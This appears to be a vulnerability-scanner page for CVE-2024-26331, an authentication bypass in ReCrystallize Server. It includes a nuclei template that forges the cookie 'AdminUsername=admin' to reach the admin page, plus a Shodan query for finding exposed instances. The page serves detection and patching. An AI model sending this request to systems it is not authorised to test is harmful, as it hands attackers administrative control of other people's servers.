ReCrystallize Server - Authentication Bypass

highseverity

51.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

This vulnerability allows an attacker to bypass authentication in the ReCrystallize Server application by manipulating the 'AdminUsername' cookie. This gives the attacker administrative access to the application's functionality, even when the default password has been changed.

Impact

Unauthenticated attackers can bypass authentication by manipulating the AdminUsername cookie to gain administrative access to ReCrystallize Server.

Fix

Update ReCrystallize Server to a patched version that addresses CVE-2024-26331.

How to confirm it

Send: GET {{BaseURL}}/Admin/Admin.aspx
Positive when: contains "ReCrystallize Server Administration" and "License Status:" and "System Info</a>" AND status 200

Run it with nuclei: nuclei -id CVE-2024-26331 -u <target>

The full check

id: CVE-2024-26331

info:
  name: ReCrystallize Server - Authentication Bypass
  author: Carson Chan
  severity: high
  description: |
    This vulnerability allows an attacker to bypass authentication in the ReCrystallize Server application by manipulating the 'AdminUsername' cookie. This gives the attacker administrative access to the application's functionality, even when the default password has been changed.
  impact: |
    Unauthenticated attackers can bypass authentication by manipulating the AdminUsername cookie to gain administrative access to ReCrystallize Server.
  remediation: |
    Update ReCrystallize Server to a patched version that addresses CVE-2024-26331.
  reference:
    - https://preview.sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities/
    - https://sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities/
    - https://www.recrystallize.com/merchant/ReCrystallize-Server-for-Crystal-Reports.htm
    - https://github.com/Ostorlab/KEV
  classification:
    epss-score: 0.51284
    epss-percentile: 0.98948
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"ReCrystallize"
  tags: cve,recrystallize,auth-bypass,cve2024,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin/Admin.aspx"
    headers:
      Cookie: "AdminUsername=admin"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ReCrystallize Server Administration"
          - "License Status:"
          - "System Info</a>"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from